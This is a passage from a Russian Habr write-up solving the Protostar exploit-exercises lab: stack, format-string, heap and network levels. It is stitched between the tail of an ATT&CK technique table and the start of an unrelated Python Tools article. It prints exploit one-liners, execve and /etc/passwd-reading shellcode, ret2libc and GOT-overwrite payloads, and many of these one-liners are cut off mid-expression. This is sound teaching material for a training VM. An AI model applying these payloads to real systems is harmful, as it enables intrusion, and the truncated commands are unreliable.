| Execution (TA0002) | Powershell (T1086), Scripting (T1064), User Execution (T1204), Windows Management Instrumentation (T1047) |
| Persistence (TA0003) | Registry Run Keys / Startup Folder (T1060), Scheduled Task (T1053), Valid Accounts (T1078) |
| Defense Evasion (TA0005) | Code Signing (T1116), Deobfuscate/Decode Files or Information (T1140), Disabling Security Tools (T1089), File Deletion (T1107), Masquerading (T1036), Process Injection (T1055) |
| Credential Access (TA0006) | Credential Dumping (T1003), Brute Force (T1110), Input Capture (T1056) |
| Discovery (TA0007) | Account Discovery (T1087), Domain Trust Discovery (T1482), File and Directory Discovery (T1083), Network Service Scanning (T1046), Network Share Discovery (T1135), Remote System Discovery (T1018) |
| Lateral Movement (TA0008) | Remote Desktop Protocol (T1076), Remote File Copy (T1105), Windows Admin Shares (T1077) |
| Collection (TA0009) | Data from Local System (T1005), Data from Network Shared Drive (T1039), Data Staged (T1074) |
| Command and Control (TA0011) | Commonly Used Port (T1043), Web Service (T1102) |
| Exfiltration (TA0010) | Data Compressed (T1002), Transfer Data to Cloud Account (T1537) |
| Impact (TA0040) | Data Encrypted for Impact (T1486), Inhibit System Recovery (T1490) | | https://habr.com/ru/post/502770/ | null | ru | null |
# Exploit Exercises: Введение в эксплуатацию бинарных уязвимостей на примере Protostar
Всем доброго времени суток. Продолжаем разбор заданий с сайта [Exploit Exercises](https://exploit-exercises.com), и сегодня будут рассмотрены основные типы бинарных уязвимостей. Сами задания доступны по [ссылке](https://exploit-exercises.com/protostar/). На этот раз нам доступны 24 уровня, по следующим направлениям:
* Network programming
* Byte order
* Handling sockets
* Stack overflows
* Format strings
* Heap overflows
Задания по каждой категории идут от простого к сложному, демонстрируя базовые приемы эксплуатации уязвимостей.
### Stack0
Этот уровень демонстрирует, как изменение локальных переменных в ходе обычного переполнения буфера, может повлиять на ход выполнения программы.
**stack0.c**
```
#include
#include
#include
int main(int argc, char \*\*argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
```
Всё что нужно сделать, это просто переполнить отправить в переменную *buffer*, строку, превышающую её размер:
```
user@protostar:~$ python -c 'print("A"*100)' | /opt/protostar/bin/stack0
```
Получаем результат:
> you have changed the 'modified' variable
### Stack1
На прошлом уровне мы просто перезаписывали переменную *modified*, на этом требуется присвоить ей конкретное значение:
**stack1.c**
```
#include
#include
#include
#include
int main(int argc, char \*\*argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
```
Поэтому для начала заполняем *buffer*, а затем устанавливаем *modified*:
```
user@protostar:~$ /opt/protostar/bin/stack1 `python -c 'from struct import pack; print("A"*64+pack("
```
И сообщение об успешном выполнении:
> you have correctly got the variable to the right value
### Stack2
На этом уровне всё тоже самое, за исключением того, что значения считываются из переменных окружения. А им как вы помните из [предыдущей части](https://habrahabr.ru/post/319380/), доверять нельзя:
**stack2.c**
```
#include
#include
#include
#include
int main(int argc, char \*\*argv)
{
volatile int modified;
char buffer[64];
char \*variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
```
Запускаем *stack2* с предварительно установленной переменой окружения *GREENIE*:
```
user@protostar:~$ GREENIE=`python -c 'from struct import pack; print("A"*64+pack("
```
> you have correctly modified the variable
### Stack3
На этом уровне от нас требуется захватив регистр *EIP*, передать управление на функцию *win*:
**stack3.c**
```
#include
#include
#include
#include
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char \*\*argv)
{
volatile int (\*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
```
Для начала, выясним её адрес:
```
(gdb) disassemble win
Dump of assembler code for function win:
0x08048424 : push %ebp
0x08048425 : mov %esp,%ebp
0x08048427 : sub $0x18,%esp
0x0804842a : movl $0x8048540,(%esp)
0x08048431 : call 0x8048360
0x08048436 : leave
0x08048437 : ret
End of assembler dump.
```
И выполним уже знакомые действия:
```
user@protostar:~$ python -c 'from struct import pack; print("A"*64+pack("
```
Адрес возврата изменён, о чем нас уведомляет следующее сообщение:
> calling function pointer, jumping to 0x08048424
>
> code flow successfully changed
### Stack4
Этот уровень уже как раз демонстрирует изменение адреса возврата, при его обычном расположении в стеке:
**stack4.c**
```
#include
#include
#include
#include
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char \*\*argv)
{
char buffer[64];
gets(buffer);
}
```
```
user@protostar:~$ gdb /opt/protostar/bin/stack4
```
Узнаём адрес, по которому расположена функция *win*:
```
(gdb) disassemble win
Dump of assembler code for function win:
0x080483f4 : push %ebp
0x080483f5 : mov %esp,%ebp
0x080483f7 : sub $0x18,%esp
0x080483fa : movl $0x80484e0,(%esp)
0x08048401 : call 0x804832c
0x08048406 : leave
0x08048407 : ret
End of assembler dump.
```
Далее находим в стеке смещение, для перезаписи регистра *EIP*:
```
gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
```
Ну и собственно выполнив небольшой код, заставляем программу перейти на нужный нам участок:
```
opt/protostar/bin$ perl -e 'print "A"x76 . "\xf4\x83\x04\x08"' | ./stack4
```
О чем свидетельствует сообщение:
> code flow successfully changed
### Stack5
На этом уровне начинается введение в использование шелл-кодов.
**stack5.c**
```
#include
#include
#include
#include
int main(int argc, char \*\*argv)
{
char buffer[64];
gets(buffer);
}
```
```
user@protostar:/opt/protostar/bin$ gdb -ex r ./stack5
```
> Starting program: /opt/protostar/bin/stack5
>
> BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
>
> BBBBBBBBBBBBBAAAA
>
>
>
> Program received signal SIGSEGV, Segmentation fault.
>
> 0x41414141 in ?? ()
>
>
>
>
> ```
> (gdb) x/20xw $esp-100
> 0xbffff76c: 0x080483d9 0xbffff780 0xb7ec6165 0xbffff788
> 0xbffff77c: 0xb7eada75 0x42424242 0x42424242 0x42424242
> 0xbffff78c: 0x42424242 0x42424242 0x42424242 0x42424242
> 0xbffff79c: 0x42424242 0x42424242 0x42424242 0x42424242
> 0xbffff7ac: 0x42424242 0x42424242 0x42424242 0x42424242
> ```
>
Создадим в *peda* небольшой шелл-код:
```
gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
```
Осталось это всё объединить:
```
user@protostar:/opt/protostar/bin$ (python -c 'from struct import pack; print("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"+"\x90"*(76-24)+pack("
```
Немного поясню: *cat* в обычном режиме запускается и бесконечно начинает пересылать всё что приходит на *STDIN* в *STDOUT*, *dash* этого делать не умеет, и без параметров сразу закрывается.
### Stack6
Продолжаем изучать шеллкод. На этом уровне нас просят для успешной эксплуатации воспользоваться одной из техник: *ret2libc* или *ROP*.
**stack6.c**
```
#include
#include
#include
#include
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = \_\_builtin\_return\_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
\_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char \*\*argv)
{
getpath();
}
```
С кодом всё понятно, приступим к поиску адреса возврата. Скачав файл себе, и запустив его в *[peda](https://github.com/longld/peda)*, создаём паттерн:
Запускаем наш бинарник, передаём ему созданный шаблон, и просим *peda* найти нужные нам смещения:
В этом задании будем использовать технику *ret2libc*, но для начала найдём необходимые адреса:
```
(gdb) x/s *((char **)environ+14)
0xbfffff84: "SHELL=/bin/sh"
(gdb) p system
$1 = {} 0xb7ecffb0 <\_\_libc\_system>
(gdb) p exit
$1 = {} 0xb7ec60c0 <\*\_\_GI\_exit>
```
Так как у нас не включен *ASLR*, то с этим проблем не возникло. В качестве параметра для функции *system*, передадим ей адрес на переменную окружения *SHELL*. Таким образом у нас есть все необходимые данные для создания сплоита:
```
eipOffset = 80
systemAddr = 0xb7ecffb0
exitAddr = 0xb7ec60c0
shellAddr = 0xbfffff8a
```
Сам сплоит будет выглядеть следующим образом:
> A \* eipOffset | systemAddr | exitAddr | shellAddr
Осталось это всё объединить:
После запуска получаем доступ к оболочке.
*P.S. Ответ на вопрос: почему несмотря на наличие SUID бита мы не получаем root, был в разборе задания [Level11](https://habrahabr.ru/post/319380/)*
### Stack7
Уровень полностью совпадает с предыдущим, за исключением того, что нас просят воспользоваться *msfelfscan*, для поиска ROP гаджетов.
**stack7.c**
```
#include
#include
#include
#include
char \*getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = \_\_builtin\_return\_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
\_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char \*\*argv)
{
getpath();
}
```
Выполняем те же действия что и в предыдущем задании:
Как можем наблюдать, *peda* нам сообщила о том, что регистр *EAX* как раз указывает на начало нашего буфера. Попробуем найти инструкции *call/jmp eax* в коде *stack7*, воспользовавшись предложенным *msfelfscan*:
```
$ msfelfscan -j eax ./stack7
[./stack7]
0x080484bf call eax
0x080485eb call eax
```
Для примера, возьмём [этот](http://shell-storm.org/shellcode/files/shellcode-571.php) шелл, который выведет нам содержимое файла */etc/passwd*
В итоге сплоит будет выглядеть следующим образом:
```
user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print("\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"+"\x90"*(80-43)+pack("
```
После запуска получаем соответствующий вывод:
**Результат работы сплоита**
> input path please: got path 1��Rh/cath/bin��Rhsswdh//pah/etc���
>
> RQS��̀�������������������������������������
>
>
> ```
> root:x:0:0:root:/root:/bin/bash
> daemon:x:1:1:daemon:/usr/sbin:/bin/sh
> bin:x:2:2:bin:/bin:/bin/sh
> sys:x:3:3:sys:/dev:/bin/sh
> sync:x:4:65534:sync:/bin:/bin/sync
> games:x:5:60:games:/usr/games:/bin/sh
> man:x:6:12:man:/var/cache/man:/bin/sh
> lp:x:7:7:lp:/var/spool/lpd:/bin/sh
> mail:x:8:8:mail:/var/mail:/bin/sh
> news:x:9:9:news:/var/spool/news:/bin/sh
> uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
> proxy:x:13:13:proxy:/bin:/bin/sh
> www-data:x:33:33:www-data:/var/www:/bin/sh
> backup:x:34:34:backup:/var/backups:/bin/sh
> list:x:38:38:Mailing List Manager:/var/list:/bin/sh
> irc:x:39:39:ircd:/var/run/ircd:/bin/sh
> gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
> nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
> libuuid:x:100:101::/var/lib/libuuid:/bin/sh
> Debian-exim:x:101:103::/var/spool/exim4:/bin/false
> statd:x:102:65534::/var/lib/nfs:/bin/false
> sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
> protostar:x:1000:1000:protostar,,,:/home/protostar:/bin/bash
> user:x:1001:1001::/home/user:/bin/sh
> ```
>
### Format0
Мы подошли к уязвимостям форматной строки. На этом уровне демонстрируется, пример того, как используя эту уязвимость, можно изменить ход выполнения программы. При этом есть условие: Нужно уложиться в строку размером 10 байт.
**format0.c**
```
#include
#include
#include
#include
void vuln(char \*string)
{
volatile int target;
char buffer[64];
target = 0;
sprintf(buffer, string);
if(target == 0xdeadbeef) {
printf("you have hit the target correctly :)\n");
}
}
int main(int argc, char \*\*argv)
{
vuln(argv[1]);
}
```
Программа принимает первый аргумент командной строки, и без фильтрации передаёт его в *sprintf*. В случае обычного переполнения это решение выглядело бы следующим образом:
```
user@protostar://opt/protostar/bin$ ./format0 `python -c 'from struct import pack; print("A"*64+pack("
```
В 10 байт мы явно не укладываемся, поэтому стоит прибегнуть к возможностям строкового форматирования:
```
user@protostar://opt/protostar/bin$ ./format0 `python -c 'from struct import pack; print("%64x"+pack("
```
Мы всё так же решили задачу переполнением переменной *buffer*, однако теперь за нас это сделала функция *sprintf*
### Format1
Уровень *Format1* демонстрирует возможность изменения значений в памяти, по произвольному адресу.
**format1.c**
```
#include
#include
#include
#include
int target;
void vuln(char \*string)
{
printf(string);
if(target) {
printf("you have modified the target :)\n");
}
}
int main(int argc, char \*\*argv)
{
vuln(argv[1]);
}
```
Воспользовавшись *objdump* найдём адрес по которому расположена переменная *target*:
```
user@protostar:/opt/protostar/bin$ objdump -t ./format1 | grep target
08049638 g O .bss 00000004 target
```
Далее, вычислим смещение, куда мы можем записывать данные:
```
user@protostar://opt/protostar/bin$ for i in {1..200}; do ./format1 "AAAA%$i\$x"; echo " $i"; done | grep 4141
AAAA41414141 127
```
Теперь мы можем изменить значение глобальной переменной *target*, следующим образом:
```
user@protostar://opt/protostar/bin$ ./format1 `python -c 'from struct import pack; print(pack("
```
### Format2
Следующий уровень демонстрирует не просто изменение произвольного адреса, а запись по нему конкретного значения.
**format2.c**
```
#include
#include
#include
#include
int target;
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
if(target == 64) {
printf("you have modified the target :)\n");
} else {
printf("target is %d :(\n", target);
}
}
int main(int argc, char \*\*argv)
{
vuln();
}
```
Собственно алгоритм действий на первом этапе будет таким же, попробуем просто записать в *target* какое-нибудь значение. Заодно посмотрим как работал предыдущий пример.
Узнаём необходимую информацию:
```
user@protostar:/opt/protostar/bin$ objdump -t ./format2 | grep target
080496e4 g O .bss 00000004 target
user@protostar:/opt/protostar/bin$ for i in {1..200}; do echo -n "$i -> "; echo "AAAA%$i\$x" | ./format2; done | grep 4141
4 -> AAAA41414141
```
Теперь попробуем осуществить запись, как это было на предыдущем уровне:
```
user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("
```
Как и следовало ожидать, в *target* записывается количество байт до спецификатора *%n*. Осталось записать туда необходимое значение — 64. Которое будет получено как: 4 байта — адрес + отступ 60 символов:
```
user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("
```
### Format3
Писать 1 байт это хорошо, но не практично. Поэтому этот уровень показывает как можно записать в память более 1 или 2-х байт.
**format3.c**
```
#include
#include
#include
#include
int target;
void printbuffer(char \*string)
{
printf(string);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printbuffer(buffer);
if(target == 0x01025544) {
printf("you have modified the target :)\n");
} else {
printf("target is %08x :(\n", target);
}
}
int main(int argc, char \*\*argv)
{
vuln();
}
```
Есть несколько способов это сделать:
* Мы можем писать конкретное значение в конкретный участок памяти как в предыдущем примере, следовательно, почему бы не записать сразу необходимое значение:
```
user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("
```
Минус этого метода в том, что предварительно нам будет выведен отступ в *0x01025544* символа;
* Второй способ — это записывать значения по 1-2 байта
```
user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("
```
В начале мы указываем адреса по которым будем менять байты, затем уже привычным образом подбираем соответствующие значения. При этом стоит помнить о том, что мы ограничены в диапазоне изменения конкретного байта, т.е. каждый последующий должен быть больше предыдущего, так к примеру минимальное значение которое при данном способе можно записать в байт по смещению *%14$n => 0x5c*. Поэтому туда мы записываем сразу 2 байта;
* Кончено никто не запрещает менять порядок записи байт, например вот так:
```
user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("
```
Вывода большого количества отступов не избежать, но опять же, изменять младшие байты мы можем начиная со значения *0x0103*.
### Format4
Вот мы и подошли к финальному и пожалуй самому интересному уровню на эксплуатацию уязвимости форматной строки. Тут от нас требуется, передать управление в функцию *hello()*.
**format4.c**
```
#include
#include
#include
#include
int target;
void hello()
{
printf("code execution redirected! you win\n");
\_exit(1);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
exit(1);
}
int main(int argc, char \*\*argv)
{
vuln();
}
```
Наиболее простым способом это сделать является перезаписть адреса в таблице GOT, для функции *exit()* на адрес функции *hello()*. Для начала найдем необходимые адреса:
```
user@protostar:/opt/protostar/bin$ objdump -t ./format4 | grep hello
080484b4 g F .text 0000001e hello
user@protostar:/opt/protostar/bin$ objdump -R ./format4 | grep exit
08049724 R_386_JUMP_SLOT exit
```
Далее определяем смещение, по которому расположен пользовательский буфер:
```
user@protostar:/opt/protostar/bin$ for i in {1..200}; do echo -n "$i -> "; echo "AAAA%$i\$x" | ./format4; done | grep 4141
4 -> AAAA41414141
```
Значения отступов, которые нужно использовать чтобы записать необходимое нам число можно рассчитать в *Python* следующим образом:
```
>>> 0x0804 - 8
2044
>>> 0x84b4 - 8 - 2044
31920
```
Теперь можно приступить к созданию сплоита:
```
user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("
```
После выполнения которого, получаем сообщение об успешном выполнении функции *hello()*
### Heap0
Этот уровень показывает основы переполнения кучи, и как это может повлиять на ход выполнения программы.
**heap0.c**
```
#include
#include
#include
#include
#include
struct data {
char name[64];
};
struct fp {
int (\*fp)();
};
void winner()
{
printf("level passed\n");
}
void nowinner()
{
printf("level has not been passed\n");
}
int main(int argc, char \*\*argv)
{
struct data \*d;
struct fp \*f;
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
printf("data is at %p, fp is at %p\n", d, f);
strcpy(d->name, argv[1]);
f->fp();
}
```
```
gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ set args 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
```
```
user@protostar:/opt/protostar/bin$ ./heap0 `python -c 'from struct import pack; print("A"*72+pack("
```
### Heap1
**heap1.c**
```
#include
#include
#include
#include
#include
struct internet {
int priority;
char \*name;
};
void winner()
{
printf("and we have a winner @ %d\n", time(NULL));
}
int main(int argc, char \*\*argv)
{
struct internet \*i1, \*i2, \*i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
```
```
gdb-peda$ p winner
$1 = {void (void)} 0x8048494
```
```
$ objdump -R ./heap1 | grep puts
08049774 R_386_JUMP_SLOT puts
```
```
gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ set args 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA BBBBBBBB'
gdb-peda$ run
...
gdb-peda$ pattern_search
Registers contain pattern buffer:
EAX+0 found at offset: 20
EDX+0 found at offset: 20
```
```
$ ./heap1 `python -c 'from struct import pack; print("A"*20+pack("
```
### Heap2
**heap2.c**
```
#include
#include
#include
#include
#include
struct auth {
char name[32];
int auth;
};
struct auth \*auth;
char \*service;
int main(int argc, char \*\*argv)
{
char line[128];
while(1) {
printf("[ auth = %p, service = %p ]\n", auth, service);
if(fgets(line, sizeof(line), stdin) == NULL) break;
if(strncmp(line, "auth ", 5) == 0) {
auth = malloc(sizeof(auth));
memset(auth, 0, sizeof(auth));
if(strlen(line + 5) < 31) {
strcpy(auth->name, line + 5);
}
}
if(strncmp(line, "reset", 5) == 0) {
free(auth);
}
if(strncmp(line, "service", 6) == 0) {
service = strdup(line + 7);
}
if(strncmp(line, "login", 5) == 0) {
if(auth->auth) {
printf("you have logged in already!\n");
} else {
printf("please enter your password\n");
}
}
}
}
```
Что делает код? Сначала выводятся адреса 2х объектов *auth* и *service*, сделано это для большей наглядности. Затем в зависимости от считанной строки, происходит либо выделение памяти под тот или иной объект либо её освобождение.
Наиболее интересна тут следующая конструкция:
```
if(strncmp(line, "login", 5) == 0) {
if(auth->auth) {
```
Интересна она тем, что тут отсутствует проверка того, выделена ли память под объект *auth* или нет, т.е. код будет отрабатывать в любом случае, не зависимо от того освободили ли мы этот объект или нет. На лицо явная уязвимость *use-after-free*. Осталось её проэксплуатировать. Для начала выделим память для *auth*:
```
user@protostar:/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0x804c008, service = (nil) ]
```
Хорошо, у нас выделилось 32 (sizeof(name)) + 4 (sizeof(auth)) байт. Теперь освободим этот участок:
```
reset
[ auth = 0x804c008, service = (nil) ]
```
Вроде бы ничего не изменилось, но взглянем на это под отладчиком:
Это до *reset*
А это после.
А теперь попробуем записать строку используя команду *service*:
```
service admin
[ auth = 0x804c008, service = 0x804c008 ]
```
Адреса полностью совпадают, это объясняется тем, что *strdup* так же использует *malloc* для выделения памяти под конечную строку, а так как мы только что пометили предыдущий участок, как свободный, то именно он у нас и стал использоваться. Таким образом, мы можем переписать и данные расположенные по адресу *auth->auth*, чтобы проверка логина прошла успешно.
Конечный эксплоит будет выглядеть так:
```
user@protostar:/opt/protostar/bin$ python -c 'print("auth admin\nreset\nservice "+"A"*36+"\nlogin")' | ./heap2
[ auth = (nil), service = (nil) ]
[ auth = 0x804c008, service = (nil) ]
[ auth = 0x804c008, service = (nil) ]
[ auth = 0x804c008, service = 0x804c018 ]
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]
```
### Heap3
**heap3.c**
```
#include
#include
#include
#include
#include
void winner()
{
printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}
int main(int argc, char \*\*argv)
{
char \*a, \*b, \*c;
a = malloc(32);
b = malloc(32);
c = malloc(32);
strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]);
free(c);
free(b);
free(a);
printf("dynamite failed?\n");
}
```
Для наглядности воспользуемся peda, предварительно установив брейкпоинты в нужных местах:
```
gdb-peda$ b *0x080488d5 //strcpy(a, argv[1]);
gdb-peda$ b *0x08048911 //free(c);
gdb-peda$ b *0x08048935 //printf("dynamite failed?\n");
gdb-peda$ r `python -c 'print("A"*32 +" "+ "B"*32 +" "+ "C"*32)'`
```
После запуска срабатывает первый брейкпоинт. Узнаём адрес по которому расположена куча:
Посмотрим как выглядит куча, ещё до копирования в неё переданных аргументов:
*P.S. для наглядности я не стал захватывать участок в 4 байта, расположенный перед указателем на размер чанка.*
Сначала у нас идёт размер текущего куска: *0x804c004 + 0x29 = 0x804c02d* — именно по этому адресу находятся данные, которые у нас помещены как «B», и так далее, в самом конце указан размер корзины. Теперь взглянем на этот же участок, перейдя к следующей точке останова:
Хорошо, с этим разобрались, осталось узнать что происходит с памятью, в куче после её освобождения:
Как видно, теперь каждый чанк, содержит указатель на следующий свободный
Так как копирование в данном примере осуществляется за счет *strcpy*, т.е. без ограничения по длине, то мы запросто можем переписать метаданные любого имеющегося чанка, в том числе и создать свой. Более подробно об этом можно узнать [тут](https://www.youtube.com/watch?v=RxQeGhYW8-g).
Для начала найдём адрес функции *winner*:
```
gdb-peda$ p winner
$1 = {void (void)} 0x8048864
```
Переписывать мы будем адрес в *GOT* для функции *puts*:
```
user@protostar:/opt/protostar/bin$ objdump -R ./heap3 | grep puts
0804b128 R_386_JUMP_SLOT puts
```
Шеллкод думаю описывать не нужно:
```
$ rasm2 'mov eax, 0x8048864; call eax'
b864880408ffd0
```
Приступим к созданию эксплоита. Так как эксплоит будет использовать особенности работы макроса *unlink* то адрес *puts* в *GOT* у нас станет:
> 0x0804b128 — 0xC = 0x0804b11c
Его собственно нужно заменить на адрес, по которому располагается первый чанк, куда мы и запишем шелл-код:
> 0x804c00c = 0x804c000 + 0xC
Третий чанк у нас будет расширен, за счет *strcpy*, и поделён на 2, так как нам нужно 2 подряд идущих чанка, которые будут помечены как свободные, иначе *unlink* не сработает. Конечный вид будет таким:
```
user@protostar:/opt/protostar/bin$ ./heap3 `python -c 'from struct import pack; print("\x90"*16+"\xb8\x64\x88\x04\x08\xff\xd0" +" "+ "B"*36+"\x65" +" "+ "C"*92+pack("
```
И после запуска получаем необходимое сообщение, из функции *winner*, и ошибку сегментации, которая нам не интересна, ведь цель выполнена.
### Net0
**net0.c**
```
#include "../common/common.c"
#define NAME "net0"
#define UID 999
#define GID 999
#define PORT 2999
void run()
{
unsigned int i;
unsigned int wanted;
wanted = random();
printf("Please send '%d' as a little endian 32bit int\n", wanted);
if(fread(&i, sizeof(i), 1, stdin) == NULL) {
errx(1, ":(\n");
}
if(i == wanted) {
printf("Thank you sir/madam\n");
} else {
printf("I'm sorry, you sent %d instead\n", i);
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
/* Don't do this :> */
srandom(time(NULL));
run();
}
```
Как следует из описания, на этом уровне нас хотят познакомить с преобразованием строки в *«little endian»* число.
Поэтому без лишних слов, открываем *python*:
```
#!/usr/bin/python3
import socket
from struct import pack
host = '10.0.31.119'
port = 2999
s = socket.socket()
s.connect((host, port))
data = s.recv(1024).decode()
print(data)
data = int(data[13:13 + data[13:].index("'")])
s.send(pack("
```
Считываем число, и используя функцию *pack* из модуля *struct*, приводим его к нужному формату. Осталось только запустить:
```
gh0st3rs@gh0st3rs-pc:protostar$ ./net0.py
Please send '1251330920' as a little endian 32bit int
Thank you sir/madam
```
### Net1
**net1.c**
```
#include "../common/common.c"
#define NAME "net1"
#define UID 998
#define GID 998
#define PORT 2998
void run()
{
char buf[12];
char fub[12];
char *q;
unsigned int wanted;
wanted = random();
sprintf(fub, "%d", wanted);
if(write(0, &wanted, sizeof(wanted)) != sizeof(wanted)) {
errx(1, ":(\n");
}
if(fgets(buf, sizeof(buf)-1, stdin) == NULL) {
errx(1, ":(\n");
}
q = strchr(buf, '\r'); if(q) *q = 0;
q = strchr(buf, '\n'); if(q) *q = 0;
if(strcmp(fub, buf) == 0) {
printf("you correctly sent the data\n");
} else {
printf("you didn't send the data properly\n");
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
/* Don't do this :> */
srandom(time(NULL));
run();
}
```
На этом уровне поставлена обратная задача, преобразовать полученные байты в строку. Снова воспользуемся *Python*:
```
#!/usr/bin/python3
import socket
from struct import unpack
host = '10.0.31.119'
port = 2998
s = socket.socket()
s.connect((host, port))
data = s.recv(1024)
print(data)
data = unpack("I", data)[0]
s.send(str(data).encode())
print(s.recv(1024).decode())
```
Да, вот так просто…
```
gh0st3rs@gh0st3rs-pc:protostar$ ./net0.py
b'\x92\xc5_x'
you correctly sent the data
```
### Net2
**net2.c**
```
#include "../common/common.c"
#define NAME "net2"
#define UID 997
#define GID 997
#define PORT 2997
void run()
{
unsigned int quad[4];
int i;
unsigned int result, wanted;
result = 0;
for(i = 0; i < 4; i++) {
quad[i] = random();
result += quad[i];
if(write(0, &(quad[i]), sizeof(result)) != sizeof(result)) {
errx(1, ":(\n");
}
}
if(read(0, &wanted, sizeof(result)) != sizeof(result)) {
errx(1, ":<\n");
}
if(result == wanted) {
printf("you added them correctly\n");
} else {
printf("sorry, try again. invalid\n");
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
/* Don't do this :> */
srandom(time(NULL));
run();
}
```
Последний уровень из этой серии. На котором нужно применить знания полученные ранее. Нам даны 4 *uint* числа, нужно отправить их сумму:
```
#!/usr/bin/python3
import socket
from struct import unpack, pack
host = '10.0.31.119'
port = 2997
s = socket.socket()
s.connect((host, port))
result = 0
for i in range(4):
tmp = s.recv(4)
tmp = int(unpack("
```
Запускаем и получаем сообщение об успехе:
```
gh0st3rs@gh0st3rs-pc:protostar$ ./net2.py
you added them correctly
```
На этом пока всё. Оставшиеся *Final0* *Final1* и *Final2* предлагаю посмотреть самостоятельно. | https://habr.com/ru/post/320460/ | null | ru | null |
# Python Tools для Visual Studio, о новинках из первых рук
*Эта статья написана Павлом Минаевым [int19h](https://habrahabr.ru/users/int19h/) — разработчиком из команды PTVS специально для публикации в нашем корпоративном блоге на Хабрахабре. Делитесь вашими впечатлениями в комментариях. Все отзывы будут переданы команде.*
